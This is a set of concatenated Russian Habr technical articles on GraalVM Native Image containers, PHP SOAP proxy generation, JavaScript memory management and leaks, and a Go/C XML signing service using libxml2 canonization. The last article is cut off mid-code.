Спускаясь ниже по кроличьей норе, можно использовать сборки без полного дистрибутива Linux. Например, [Google Distroless](https://github.com/GoogleContainerTools/distroless). Для того, чтобы Native Image там заработал, нужно собрать его со специальным флагом: `native-image -H:+StaticExecutableWIthDynamicLibC …`. Результат будет очень спорный и менее универсальный, чем в случае с Debian Slim и Axiom Runtime Containers, но что не сделаешь ради уменьшения размера образа.
Ну и если вы совсем любитель жесткого BDSM, можно использовать scratch-контейнер. Для этого ничего не нужно качать, нужно написать `from:scratch` в вашем докерфайле, а Native Image нужно статически собрать с маслом: `--static --libc=musl`. Результат будет совсем-совсем спорный, но двадцать бабушек - уже рубль.
#### Боль и удовольствие
Native Image - очень новая, крутая и неоднозначная технология.
С одной стороны, это боль.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/434/deb/bab/434debbabd8835ba6b8adb0671919c25.png)* Возможно, придется переписывать приложение;
* Специфичные паттерны нагрузки (плоский профиль AOT vs пиковый профиль JIT);
* Не самый продвинутый сборщик мусора (мы еще добавим ParallelGC в Axiom Native Image Kit, но не сейчас);
* Молодая технология с возможными багами;
* Нужно разбираться в куче хитрых конфигов;
* Нативный код слабо отлаживаем, нужно отлаживать на обычной JVM;
* IDE не подсвечивает ошибки, связанные с Native Image, и нескоро научится (если вообще);
* … (список ада можно продолжать).
С другой стороны, это огромное удовольствие.
* Маленькие бинарники, которые мгновенно запускаются;
* Счета за облако радуют глаз;
* Отлично выполняющиеся SLA радуют клиентов (а они вас - своими деньгами);
* Красивый, понятный, хорошо отрефакторенный код фреймворков;
* Куча новых современных технологий, с которыми приятно разбираться;
* Отлично дополняет slim образы (типа Debia Slim или Axiom Runtime Container).
Выбирать или нет GraalVM Native Image прямо сейчас - это большой вопрос, но уже прямо сейчас понятно, что за этой технологией - будущее. | https://habr.com/ru/post/704494/ | null | ru | null |
# SOAP, генерация прокси класса
Преамбула:
> SOAP — протокол обмена структурированными сообщениями в распределённой вычислительной среде. Первоначально SOAP предназначался, в основном, для реализации удалённого вызова процедур (RPC), а название было аббревиатурой: Simple Object Access Protocol — простой протокол доступа к объектам. Сейчас протокол используется для обмена произвольными сообщениями в формате XML, а не только для вызова процедур. Официальная спецификация последней версии 1.2 протокола никак не расшифровывает название SOAP. SOAP является расширением протокола XML-RPC.
Итак, делаем proxy-class
Так вот, столкнулся с задачей, где нужно использовать вебсервис.
Вообще говоря разработчики рнр5 максимально упростили работу с сервисом.
Ввели SoapClient и использовать проще простого.
`<br/
$cl = new SoapClient("wsdl");
$cl->functionname();
...`
Все ничего, но надо знать имена функции это раз.
Второе, программируя в какой-нить IDE есть автокомлит, который показывает функции класса
Я начал копать в сторону этого, потому как на память помнить функции глупо.
Но к сожалению ничего не нашел.
Порылся в pear но там по сути нет ничего чтобы мне помогло.
В итоге решил написать скрипт, который бы на основании заданного WSDL создает класс с методами, параметрами и phpDoc для удобства.
Для примера задаем простейший WSDL файл и посмотри как бы делали просто и через генератор класса.
Обычно мы пишем (пример взят [отсюда](http://habrahabr.ru/blogs/php/38370/)):
`<br/
$cl = new SoapClient("http://www.freewebs.com/jimmy_cheng/CurrencyExchangeService.wsdl");
echo $cl->getRate("us", "russian");
?>`
Удобно, не вопрос. Но узнать ВСЕ функции WSDL тяжко.
А теперь прогоним этот же wsdl и получим класс.
В итоге получили:
![](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg34.imageshack.us%2Fimg34%2F8239%2F75717762.jpg%22)
Удобно? Да. Причем эта фича есть давно в VS.
А вот для примера задаем WSDL для проверки валидности email
`$WSDL = "http://ws.cdyne.com/emailverify/Emailvernotestemail.asmx?wsdl";`
а в IDE получился вот такой комплит
![](https://habr.com/images/px.gif#%3D%22http%3A%2F%2Fimg40.imageshack.us%2Fimg40%2F300%2F79697767.jpg%22)
Не знаю как вам, а мне этой фичи нехватает.
Уважаемый ALL, подскажите, возможно я создаю велосипед, но я не встречал создания прокси-класса на РНР? Есть ли такой инструмент?
Потому что на данный момент приходится доделывать скрипт и придумывать костыли чтобы все работало хорошо.
Спасибо за внимание, жду ответов — Имеет ли смысл двигаться в этом направлении? или уже есть такое?
[Кросспост](http://anton.in.ua/blog/2009/05/18/soap-wsdl2class-proxy-class/)
**UPD** WSDL [ws.cdyne.com/emailverify/Emailvernotestemail.asmx?wsdl](http://ws.cdyne.com/emailverify/Emailvernotestemail.asmx?wsdl) содержит больше функций, я знаю, но в силу того, что РНР не поддерживает перегрузку функций, то **в данный момент** я игнорирую повторы. В дальнейшем введу fucn1, func2, func3 которые будут по сути func но с разными параметрами. Спасибо за понимание | https://habr.com/ru/post/59812/ | null | ru | null |
# Основы управления памятью в JavaScript: как это работает и какие проблемы могут возникнуть
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/a74/6c0/fef/a746c0fef57aeb7e6882f223be5fbb2f.png)
Большинство разработчиков редко задумываются о том, как реализовано управление памятью в JavaScript. Движок обычно делает все за программиста, так что последнему нет смысла размышлять о принципах функционирования механизма управлением памятью.
Но рано или поздно разработчикам все же приходится разбираться с проблемами, связанными с памятью — например, утечками. Ну а разобраться с ними получится лишь тогда, когда есть понимание механизма выделения памяти. Эта статья и посвящена объяснениям. В ней также есть советы о самых распространенных видах утечек памяти в JavaScript.
### Жизненный цикл памяти
При создании функций, переменных и т.п. в JavaScript движок выделяет определенный объем памяти. Потом он освобождает ее — после того, как память уже не требуется.
Собственно, выделением памяти можно назвать процесс резервирования определенного объема памяти. Ну а освобождение ее — это возвращение резерва системе. Использовать ее можно повторно сколько угодно раз.
Когда выполняется объявление переменной или создается функция, то память проходит следующий цикл.
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/267/255/d0d/267255d0db050a1712cd5d26ddc4389d.png)
Здесь в блоках:
* **Allocate** — выделение памяти, что делает движок. Он выделяет память, которая требуется для созданного объекта.
* **Use** — использование памяти. За этот момент отвечает разработчик, прописывая в коде чтение и запись в память.
* **Release** — освобождение памяти. Здесь снова наступает «зона ответственности» JavaScript. После того, как резерв высвобожден, память можно использовать и для других целей.
«Объекты» в контексте управления памятью подразумевают не только объекты JS, но также функции и области действия.
### Стек памяти и куча
В целом, все вроде понятно — JavaScript выделяет память под все, что разработчик задает в коде, а потом, когда все операции выполнены, память освобождается. Но где хранятся данные?
Есть два варианта — в стеке (stack) памяти и в куче (heap). Что первое, что второе — название структур данных, которые используются движком для разных целей.
**Стек (stack)** — это статическое выделение памяти
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/3d0/d71/f59/3d0d71f59e3bf643a1f7a588ce0f916a.jpg)
Определение стека известно многим. Это структура данных, которая используется для хранения статических данных, их размер всегда известен во время компиляции. В JS сюда включили примитивные значения, например string, number, boolean, undefined и null, а также ссылки на функции и объекты.
Движок «понимает», что размер данных не меняется, поэтому выделяет фиксированный объем памяти для каждого из значений. Процесс выделения памяти до исполнения называется статическим выделением памяти (static memory allocation).
Так как браузер выделяет память заранее для каждого типа данных есть ограничение на размер данных, которые можно туда положить. Так как браузер выделяет память заранее для каждого типа данных есть ограничение на размер данных, которые можно туда положить.
**Куча (heap)** — динамическое выделение памяти
Что касается кучи, то она знакома многим не хуже, чем стек. Используется она для хранения объектов и функций.
Но в отличие от стека движок не может «знать», какой объем памяти необходим для того либо иного объекта, поэтому память выделяется по мере необходимости. И этот способ выделения памяти называется «динамическим» (dynamic memory allocation).
**Несколько примеров**
В комментариях к коду указаны нюансы выделения памяти.
```
const person = {
name: 'John',
age: 24,
};
```
// JavaScript выделяет память под этот объект в куче.
// Сами же значения являются примитивными, поэтому хранятся они в стеке.
```
const hobbies = ['hiking', 'reading'];
```
// Массивы – тоже объекты, значит, они отправляются в кучу.
let name = 'John'; // выделяет память для строки
const age = 24; // выделяет память для числа
name = 'John Doe'; // выделяет память для новой строки
const firstName = name.slice(0,4); // выделяет память для новой строки
// Примитивные значения по своей природе иммутабельные: вместо того, чтобы изменить начальное значение,
// JavaScript создает еще одно.
### Ссылки в JavaScript
Что касается стека, то на него указывают все переменные. Если же значение не является примитивным, в стеке содержится ссылка на объект из кучи.
В ней нет определенного порядка, а значит, ссылка на нужную область памяти хранится в стеке. В такой ситуации объект в куче похож на здание, а вот ссылка — это его адрес.
JS сохраняет объекты и функции в куче. А вот примитивные значения и ссылки — в стеке.
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/f4f/806/f07/f4f806f0711516ff9175f1245948af72.png)
На этом изображении показана организация хранения разных значений. Стоит обратить внимание на то, что person и newPerson указывают здесь на один и тот же объект.
Пример
```
const person = {
name: 'John',
age: 24,
};
```
// В куче создается новый объект, а в стеке – ссылка на него.
В целом, ссылки крайне важны в JavaScript.
### Сборка мусора
Теперь самое время вернуться к жизненному циклу памяти, а именно — ее освобождению.
Движок JavaScript отвечает не только за выделение памяти, но и за освобождение. При этом память системе возвращает сборщик мусора (garbage collector).
И как только движок «видит», что в переменной или функции уже нет необходимости, выполняется освобождение памяти.
Но здесь кроется ключевая проблема. Дело в том, что решить, нужна определенная область памяти или нет, нельзя. Нет настолько точных алгоритмов, которые в режиме реального времени освобождают память.
Правда, есть просто хорошо работающие алгоритмы, которые позволяют делать это. Они не идеальны, но все же гораздо лучше, чем многие другие. Ниже — рассказ о сборке мусора, которая основана на подсчете ссылок, а также об «алгоритме пометок».
### Что там насчет ссылок?
Это очень простой алгоритм. Он убирает те объекты, на которые не указывает более ни одна ссылка. [Вот пример](https://felixgerschau.com/video/stack-heap-gc-animation.mp4), который неплохо все разъясняет.
Если вы просмотрели видео, то, вероятно, заметили, что hobbies — единственный объект в куче, на который сохранилась ссылка в стеке.
### Циклы
Недостаток алгоритма в том, что он не способен учитывать циклические ссылки. Они возникают тогда, когда один или более объектов ссылаются друга на друга, оказываясь вне зоны досягаемости с точки зрения кода.
```
let son = {
name: 'John',
};
let dad = {
name: 'Johnson',
}
son.dad = dad;
dad.son = son;
son = null;
dad = null;
```
![](https://habrastorage.org/r/w780q1/getpro/habr/post_images/d7a/837/74c/d7a83774c902f0393d7b468325125901.jpg)
Здесь son и dad ссылаются друг на друга. Доступа к объектам уже давно нет, но алгоритм не освобождает выделенную под них память.
Именно из-за того, что алгоритм считает ссылки, присвоение объектам null ничем не помогает, поскольку у каждого объекта все еще есть ссылка.
### Алгоритм пометок
Здесь на помощь приходит другой алгоритм, который называется методом mark and sweep (помечай и выметай). Этот алгоритм не считает ссылки, а определяет, можно ли получить доступ к разным объектам посредством корневого объекта. В браузере это window, а в Node.js — global.
![](https://habrastorage.org/r/w1560/getpro/habr/post_images/50d/cbe/182/50dcbe18277d3b18cbc385869640c98b.png)
Если объект недоступен, то алгоритм помечает его, после чего убирает. Корневые объекты при этом никогда не уничтожаются. Проблема циклических ссылок здесь не актуальна — алгоритм позволяет понять, что ни dad, ни son уже недоступны, поэтому их можно «вымести», а память — вернуть системе.
С 2012 года абсолютно все браузеры оснащаются сборщиками мусора, которые работают именно по методу mark and sweep.
### Не обошлось без недостатков и здесь
Можно было бы подумать, что все отлично, и теперь можно забыть об управлении памятью, поручив все алгоритму. Но это не совсем так.
**Использование большого объема памяти**
Из-за того, что алгоритмы не умеют определять, когда именно память становится ненужной, приложения на JavaScript могут использовать больший объем памяти, чем нужно. И лишь сборщик может решить, освобождать или нет выделенную память.
Лучше JavaScript с управлением памятью справляются низкоуровневые языки. Но и здесь есть свои недостатки, что нужно иметь в виду. В частности, JS не даёт инструментов управления памятью, в отличие от низкоуровневые языков, в которых программист «вручную» занимается выделением и высвобождением памяти.
**Производительность**
Память не очищается каждый новый момент времени. Освобождение выполняется с определенной периодичностью. Но разработчики не могут знать, когда именно запускаются эти процессы.
Поэтому в некоторых случаях сборка мусора может негативно отражаться на производительности, поскольку алгоритму для работы нужны определенные ресурсы. Правда, ситуация редко становится прямо совсем уж неуправляемой. Чаще всего последствия этого микроскопические.
### Утечки памяти
В разработке утечка памяти — одно из самых неприятных явлений. Но если знать все самые распространенные виды утечек, то обойти проблему можно без особого труда.
**Глобальные переменные**
Утечки памяти чаще всего случаются из-за хранения данных в глобальных переменных.
В браузере, если ошибиться и использовать var вместо const или let, движок присоединит переменную к объекту window. Аналогичным образом он выполнит операцию с функциями, определенными словом function.
```
user = getUser();
var secondUser = getUser();
function getUser() {
return 'user';
}
```
// Все три переменных – user, secondUser и
// getUser – будут присоединены к объекту window.
Так поступать можно лишь в случае с функциями и переменными, которые объявлены в глобальной области видимости. Решить эту проблему можно посредством выполнения кода в строгом режиме (strict mode).
Глобальные переменные часто объявляются намеренно, это не всегда ошибка. НО в любом случае нельзя забывать об освобождении памяти после того, как в данных уже нет нужды. Для того нужно присвоить глобальной переменной null.
window.users = null;
**Коллбеки и таймеры**
Приложение использует больший объем памяти, чем положено и в том случае, если забыть о таймерах и коллбеках. Главная проблема — одностраничные приложения (SPA), а также динамическое добавление коллбеков и обработчиков событий.
**Забытые таймеры**
```
const object = {};
const intervalId = setInterval(function() {
// сборщик мусора не обработает ничего, что используется здесь,
// пока интервал не будет очищен
doSomething(object);
}, 2000);
```
Эта функция выполняется каждые две секунды. Ее выполнение не должно быть бесконечным. Проблема в том, что объекты, на которые есть референс в интервале, не уничтожаются до тех пор, пока не выполняется очистка интервала. Поэтому нужно своевременно прописывать:
clearInterval(intervalId);
**Забытый коллбек**
Проблема может возникнуть в том случае, если к кнопке привязать обработчик onClick, а саму кнопку удалить после — например, она перестала быть нужной.
Раньше большинство браузеров просто не смогли бы освободить память, выделенную для такого обработчика события. Сейчас же эта проблема уже в прошлом, но все же оставлять обработчики, которые больше вам не нужны — не стоит.
```
const element = document.getElementById('button');
const onClick = () => alert('hi');
element.addEventListener('click', onClick);
element.removeEventListener('click', onClick);
element.parentNode.removeChild(element);
```
**Забытые DOM-элементы в переменных**
Все это похоже на предыдущий случай. Ошибка возникает в том случае, когда элементы DOM хранятся в переменной.
```
const elements = [];
const element = document.getElementById('button');
elements.push(element);
function removeAllElements() {
elements.forEach((item) => {
document.body.removeChild(document.getElementById(item.id))
});
}
```
При удалении любого из элементов выше стоит позаботиться и об его удалении из массива. В противном случае сборщик мусора не станет его удалять автоматически.
```
const elements = [];
const element = document.getElementById('button');
elements.push(element);
function removeAllElements() {
elements.forEach((item, index) => {
document.body.removeChild(document.getElementById(item.id));
elements.splice(index, 1);
});
}
```
Удаляя элемент из массива вы актуализируете его содержимое с списком элементов на странице.
Поскольку каждый дом элемент имеет ссылку на своего родителя, это ссылочно не даёт сборщику мусора высвободить занятую родителем память, что приводить к утечкам.
### В сухом остатке
В статье рассказана общая механика выделения памяти, а так же автор показал какие проблемы могут возникать и как с ними бороться. Все это — важно для любого разработчика Java Script.
> **Комментирует Глеб Михеев, программный директор Frontend-направления образовательной платформы Skillbox:**
>
>
>
> Знание общих принципов выделения памяти важны практически с самого начала карьеры, потому что большую популярность сейчас получили веб-приложения (в прошлом их называли SPA — Single Page Applications).
>
>
>
> Основной ключевой особенностью этих приложений является то, что они “живут во времени” — при переходе между страницами не происходит полного сброса состояния (технически страница не перезагружается, а меняется на лету), поэтому утечки памяти накапливаются, что может приводить к затормаживанию работы вкладки, браузера и компьютера пользователя.
>
>
>
> Вторая не менее важная особенность — рендеринг данных происходит на клиенте. Поэтому при большом количестве элементов на странице или частых изменениях данных мы можем испытывать большие просадки по производительности.
>
>
>
> Мы как разработчики должны следить за тем, как мы выделяем память при часто повторяемых операциях (рендеринг компонентов, обход циклов, объявления переменных в обработчиках событий). Потому что, если мы слишком часто будем объявлять переменные у нас будет постоянно выделяться новая память под хранение их значений, приложение будет “пухнуть” в памяти и как следствие — будет чаще срабатывать garbage collector.
>
>
>
> Из-за этого мы будем испытывать постоянные микрофризы (js однопоточен, поэтому все процессы заблокируются на время работы garbage collector’a). Это сильно влияет на качество пользовательского опыта, и ухудшает качество приложений. | https://habr.com/ru/post/554018/ | null | ru | null |
# Как мы делали универсальный сервис подписания для инфраструктуры Госуслуг на C и GO. Часть 2
Это вторая часть статьи, посвященной универсальному сервису подписания для инфраструктуры Госуслуг. Первая часть статьи была посвящена GO-части нового сервиса, в которую входит конфигурирование, тестирование, ресты, файловый менеджер и планировщик. Всему тому, что происходит до того, как данные будут переданы в С-часть для подписания и верификации. Также там кратко описаны основные предпосылки к создания нового сервиса.
Приступать к чтению этой статьи рекомендуется строго после ознакомления с [**первой частью**](https://habr.com/ru/company/rtlabs/blog/546732/).
Во второй части будет рассмотрена CGO-прослойка и C-часть, в которой происходит подписание и верификация данных. Тут же будут описаны самые важные оптимизации, ради которых этот сервис и создавался.
Для сохранения времени читателей примеры кода в этой статье по возможности упрощены. Там, где это не мешает, читаемости полностью удалена инициализация переменных, переиспользование буферов, обработка ошибок и освобождение памяти.
А чтобы еще сильнее упростить дальнейшее чтение, я сделал схему, в которой есть все элементы обеих частей статьи. Те элементы, которые будут рассмотрены в этой статье, выделены красным.
![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/440/f04/4bf/440f044bfef5e6a505eb39b25af4551c.png)CGO-часть
---------
Перед тем как описывать все механизмы, которые помогают экономить ресурсы, я хочу подробнее остановится на логировании, обработке ошибок и передачи их между двумя языками.
Логирование
-----------
При проектировании логера почти сразу появился вопрос, как вообще в большом, мультиязычном и многопоточном проекте можно отслеживать запросы? Как, например понять, к какому из запросов относится конкретная ошибка?
Было очевидно, что потребуется что-то, что можно передавать во все методы сервиса. А поскольку у нас к этому моменту уже достаточно активно использовался uuid, было решено остановится на нем.
Использовать uuid оказалось удобно еще и потому, что он является обязательной частью запросов, в которых данные могут быть разбиты на чанки, так как в таких запросах он используется как уникальное имя директории, в которой чанки хранятся между запросами. А если в запросе uuid передавать не требуется, как, например, при подписи или верификации OAuth токенов, то его достаточно сгенерировать и вернуть в заголовке ответа.
Благодаря такому подходу, чтобы понять, к какому запросу относится ошибка, достаточно просто поискать в логе все строки, в которых присутствует нужный uuid. Это решило проблему с многопоточностью, но не решило полностью проблему с мультиязычностью, так как логгеры С и GO-частей необходимо было еще и синхронизировать.
Поскольку задача достаточно трудоемкая, было решено делать логирование только на стороне GO, а при необходимости логирования С-части просто вызывать логер через CGO. Но так как вызовы CGO достаточно дорогие, количество info логов было решено минимизировать, а чтобы логер на стороне C лишний раз не вызывал GO-код, пришлось пробрасывать уровень логирования еще и в C-часть. Это позволило отсекать все неподходящие по уровню логирования вызовы до того, как они попадут в CGO.
Обработка ошибок
----------------
На обработке ошибок я изначально вообще не хотел останавливаться, но раз уже мы заговорили про прослойку, то почему бы не рассказать, как через нее передаются ошибки?
Для того чтобы можно было нормально пробрасывать ошибки, приходящие из C, необходимо, помимо самих кодов ошибок на стороне GO поддерживать еще и константы, аналогичные таковым в С, например:
```
var (
ErrGeneral = errors.New("general error")
)
const (
GENERAL_ERROR = -1
)
```
Благодаря этим константам код ошибки возвращаемый из С, можно конвертировать в стандартный для GO без потери изначального смысла, например:
```
func ConvertCError(cErr int) (err error) {
switch cErr {
case GENERAL_ERROR:
return ErrGeneral
default:
return ErrUnexpected
}
}
```
Проброс указателей
------------------
Теперь можно вернуться к описанию самой прослойки и, в частности, к пробросу указателей из GO в C и обратно.
Необходимость в пробросе указателей возникла из-за того, что иногда приходится передавать через стэк большие объемы данных для подписи или верификации.
Чтобы эти данные не копировать при вызове C-методов, было принято решение пробрасывать указатель на данные из-под слайса сразу в C-часть, как обычный C-указатель, а затем, после возврата из метода, C-указатель можно подложить под GO-слайс, тем самым тоже сэкономив дополнительную память, например:
В этом примере при вызове C-метода signXmlSmev2 в него в параметре cXmlToSign передается указатель из-под слайса xmlToSign с данными для подписи. А при возврате из signXmlSmev2 в параметре cSignedXml уже есть указатель на подписанные данные и его можно подложить под слайс signedXml который вернется из метода CGOSignXmlSmev2, например:
```
func CGOSignXmlSmev2(uuid string, xmlToSign []byte) (signedXml []byte, err error) {
var cXmlToSign *C.char = nil
var cXmlToSignLen C.int = 0
//Освобождается из вызывающей функции вызовом c.CGOFreeCPointerUnderSlice
var cSignedXml *C.char = nil
var cSignedXmlLen C.int = 0
if xmlToSign != nil && len(xmlToSign) > 0 {
cXmlToSign = (*C.char)(unsafe.Pointer(&xmlToSign[0]))
cXmlToSignLen = C.int(len(xmlToSign))
}
cRes := C.signXmlSmev2(cXmlToSign, cXmlToSignLen, &cSignedXml, &cSignedXmlLen)
if int(cRes) != error_codes.OK {
err := error_codes.ConvertCError(int(cRes))
logger.Error.Println(uuid, "C.signXmlSmev2 failed:", err)
return signedXml, err
}
sliceHeader := reflect.SliceHeader{Data: (uintptr)(unsafe.Pointer(cSignedXml)), Len: int(cSignedXmlLen), Cap: int(cSignedXmlLen)}
signedXml = *(*[]byte)(unsafe.Pointer(&sliceHeader))
return signedXml, err
}
```
Чтобы потом освободить указатель под слайсом достаточно его опять достать и передать в стандартный метод для освобождения, например:
```
func CGOFreeCPointerUnderSlice(uuid string, slice []byte) (err error) {
C.free(unsafe.Pointer(&slice[0]))
return nil
}
```
С-часть
-------
Теперь, когда все, по моему мнению, важные моменты в GO и CGO-частях были описаны, пришло время перейти к самому интересному и самому высоконагруженному коду, который находится в C-части сервиса.
Но перед этим все-таки стоит отдельно упомянуть про xpath, так как любые xpath-операции очень дорогие и, если бы работа с ним не была оптимизирована, сервис бы работал в несколько раз медленнее.
А возможно это стало благодаря тому, что форматы xml-документов, которые поступают на вход, строго регламентированы в методических рекомендациях СМЭВ. Поэтому при подписи документа нам достаточно найти только подписываемые данные, а при верификации саму подпись и все данные по ссылкам из подписи. Остальное можно найти простыми переходами по ссылкам DOM в рамках элемента подписи.
Канонизация
-----------
Канонизация является неотъемлемой частью подписания xml, а сами данные для канонизации могут быть по размеру практически как исходный файл. В связи с чем возникла необходимость сделать канонизацию без копирования в память еще одного объема изначального файла, и в libxm2 для этого есть подходящие инструменты.
В метод для канонизации также, как и в методы для дампа и парсинга xml, описанных в первой части, можно передать буфер, в котором будет содержаться callback, куда будут приходить данные по кускам.
И если в такой callback передать контекст хэширования, то можно будет передавать в метод хеширования каждый кусок данных отдельно. Что избавляет от необходимости хранить в памяти одновременно все канонизированные данные, например.
В примере вызывается метод xmlOutputBufferCreateIO, который позволяет создать буфер, при заполнении которого будут вызываться переданные нами callback c14BufWriteCallback, в который первым параметром будет приходить переданный нами контекст bufWriteCallbackDataForSignedInfo. В нем содержится контекст хеширования hHashForSignedInfo с которым будет вызываться метод для хэширования updateHashData.
Впоследствии этот буфер передается в canonXmlNode вместе с данными для канонизации, а после - в метод xmlC14NExecute который и будет заниматься канонизацией данных.
```
//Инициализация структуры для передачи в callback
c14BufWriteCallbackData bufWriteCallbackDataForSignedInfo = {.uuid = uuid, .hHashHandle = hHashForSignedInfo};
//Инициализация буфера
canonBufForSignedInfo = xmlOutputBufferCreateIO(c14BufWriteCallback, NULL, &bufWriteCallbackDataForSignedInfo, NULL);
if(NULL == canonBufForSignedInfo)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlOutputBufferCreateIO failed");
goto err;
}
//Канонизация данных для подписи
res = canonXmlNode(uuid, doc, signedInfo, canonBufForSignedInfo);
if(OK != res)
{
errorLog(uuid, LOGGER_FILE_INFO, "canonXmlNode failed");
goto err;
}
//Освобождение буфера
xmlRes = xmlOutputBufferClose(canonBufForSignedInfo);
if(-1 == xmlRes)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlOutputBufferClose failed");
goto err;
}
```
Пример определения структуры c14BufWriteCallbackData:
```
typedef struct
{
const char *uuid;
HCRYPTHASH hHashHandle;
} c14BufWriteCallbackData;
```
Пример c14BufWriteCallback:
```
//Вызывается из метода канонизации и по чанкам пишет данные в метод хэширования
static int c14BufWriteCallback(void *context, const char *buffer, int len)
{
error_code res = OK;
c14BufWriteCallbackData *callbackData = (c14BufWriteCallbackData*) context;
if(len <= 0)
return len;
res = updateHashData(callbackData->uuid, callbackData->hHashHandle, (const BYTE*) buffer, (const DWORD) len);
if (OK != res)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "updateHashData failed");
return -1;
}
return len;
}
```
Пример canonXmlNode:
```
error_code canonXmlNode(const char *uuid, const xmlDocPtr doc, const xmlNodePtr node, xmlOutputBufferPtr buf)
{
c14NCanonCallbackData callbackData = {.uuid = uuid, .targetNode = node, .includeOther = 0};
int xmlRes = 0;
error_code res = OK;
debugLog(uuid, LOGGER_FILE_INFO, "started");
if(NULL == node)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "bad input");
goto err;
}
xmlRes = xmlC14NExecute(doc, c14NCanonCallback, &callbackData, XML_C14N_EXCLUSIVE_1_0, NULL, 0, buf);
if (0 > xmlRes)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlC14NExecute failed");
goto err;
}
err:
return res;
}
```
У такого метода канонизации есть и обратная сторона - приходится писать алгоритм, который будет решать, какие узлы из документа нужно канонизировать, а какие нет. Этот алгоритм не тривиальный и сначала была идея приложить пример метода c14NCanonCallback, который этим занимается, но он не обязательный для понимания принципа работы, а статья и так уже получается очень большая.
Чтобы не реализовывать этот метод, можно было бы преобразовать узел, который надо канонизировать к документу и уже его канонизировать полностью. Чтобы в итоге получить все нужные данные в одном большом буфере, который вернул бы libxml2. Но в этом случае в памяти может храниться практически полный объем исходных данных, что не допустимо при подписи больших файлов.
Канонизация для СМЭВ3
---------------------
В случае с подписанием для СМЭВ2 нужна только стандартная канонизация. Но в случае с подписанием для СМЭВ3 все намного сложнее, потому что после стандартной канонизации необходимо выполнить и собственную трансформацию СМЭВ.
Поскольку метод canonXmlNode идентичен тому, что описан в обычной канонизации, его код в примерах я приводить не буду.
Большая часть логики в примерах ниже аналогична описанной ранее, только вместо c14BufWriteCallback используется куда более сложный c14BufWriteCallbackWithSmevCanon. В котором не просто вызывается метод хэширования, а инициализируется SAX-парсер, в который по кускам передаются все пришедшие данные, и внутри него уже выполняется потоковая трансформация. Метод хэширования так же периодически вызывается внутри парсера, когда накапливается достаточно данных.
Из-за усложнившейся логики возникла необходимость в передаче еще и callback-а для освобождения памяти c14BufCloseCallbackWithSmevCanon, пример которого я приводить не стал.
Все вышеописанное позволяет сильно уменьшить объем данных, которые одновременно могут находиться в памяти.
В примере вызывается метод xmlOutputBufferCreateIO, который позволяет создать буфер, при заполнении которого будут вызываться переданные нами callback c14BufWriteCallbackWithSmevCanon, в который первым параметром будет приходить переданный нами контекст bufWriteCallbackDataForData. В нем содержится контекст для парсера и метода.
Впоследствии этот буфер передается в canonXmlNode вместе с данными для канонизации, а после - в метод xmlC14NExecute который и будет заниматься канонизацией данных.
```
xmlOutputBufferPtr canonBufForData = NULL;
//Инициализация структуры для передачи в callback
c14BufWriteCallbackWithSmevCanonData bufWriteCallbackDataForData = {.uuid = uuid, .hHashHandle = hHashForData, .doSmevCanon = true, .ctxt = NULL, .saxUserData = NULL};
//Инициализация буфера
canonBufForData = xmlOutputBufferCreateIO(c14BufWriteCallbackWithSmevCanon, c14BufCloseCallbackWithSmevCanon, &bufWriteCallbackDataForData, NULL);
if(NULL == canonBufForData)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlOutputBufferCreateIO failed");
goto err;
}
//Канонизация данных для подписи
res = canonXmlNode(uuid, dataDoc, dataRoot, canonBufForData);
if(OK != res)
{
errorLog(uuid, LOGGER_FILE_INFO, "canonXmlNode failed");
goto err;
}
//Освобождение буфера
xmlRes = xmlOutputBufferClose(canonBufForData);
if(-1 == xmlRes)
{
res = GENERAL_ERROR;
errorLog(uuid, LOGGER_FILE_INFO, "xmlOutputBufferClose failed");
goto err;
}
canonBufForData = NULL;
```
Пример определения структуры c14BufWriteCallbackWithSmevCanonData:
```
typedef struct
{
const char *uuid;
const HCRYPTHASH hHashHandle;
const bool doSmevCanon;
xmlParserCtxtPtr ctxt;
saxCallbackData *saxUserData;
} c14BufWriteCallbackWithSmevCanonData;
```
Пример c14BufWriteCallbackWithSmevCanon:
```
static int c14BufWriteCallbackWithSmevCanon(void *context, const char *buffer, int len)
{
error_code res = OK;
c14BufWriteCallbackWithSmevCanonData *callbackData = (c14BufWriteCallbackWithSmevCanonData*) context;
if(!callbackData->doSmevCanon)
{
if(len <= 0)
return len;
res = updateHashData(callbackData->uuid, callbackData->hHashHandle, (const BYTE*) buffer, (const DWORD) len);
if (OK != res)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "updateHashData failed");
return -1;
}
return len;
}
if(len <= 0)
{
res = cleanupSmevTransform(callbackData->uuid, callbackData->ctxt, buffer, len);
if(OK != res)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "cleanupSmevTransform failed");
return -1;
}
if(OK != callbackData->saxUserData->err)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "SAX parser failed");
return -1;
}
return len;
}
if(callbackData->ctxt == NULL)
{
//Нужно для инициализации констант
saxCallbackData tempSaxUserData = {
.uuid = callbackData->uuid,
.hHashHandle = callbackData->hHashHandle,
.hashFuncPtr = &updateHashData,
.prefixMappingStack = NULL,
.nsCounter = 1,
.err = OK,
.tempBuff = NULL,
.tempBuffLen = 0,
.tempBuffFreeSpace = 0
};
//Чтобы не освободилась после выхода из функции
saxCallbackData *saxUserData = (saxCallbackData*) malloc(sizeof(saxCallbackData));
if(NULL == saxUserData)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "malloc failed");
return -1;
}
//Копируем структуру из стэка в выделенную память
memcpy(saxUserData, &tempSaxUserData, sizeof(saxCallbackData));
//Выделяем сразу буфер размером с первый кусок данных после конанизицииканонизации
saxUserData->tempBuff = (char *) malloc( (sizeof(char) * len) + SMEV_CANON_BUF_ADDITION );
if(NULL == saxUserData->tempBuff)
{
errorLog(callbackData->uuid, LOGGER_FILE_INFO, "malloc failed");
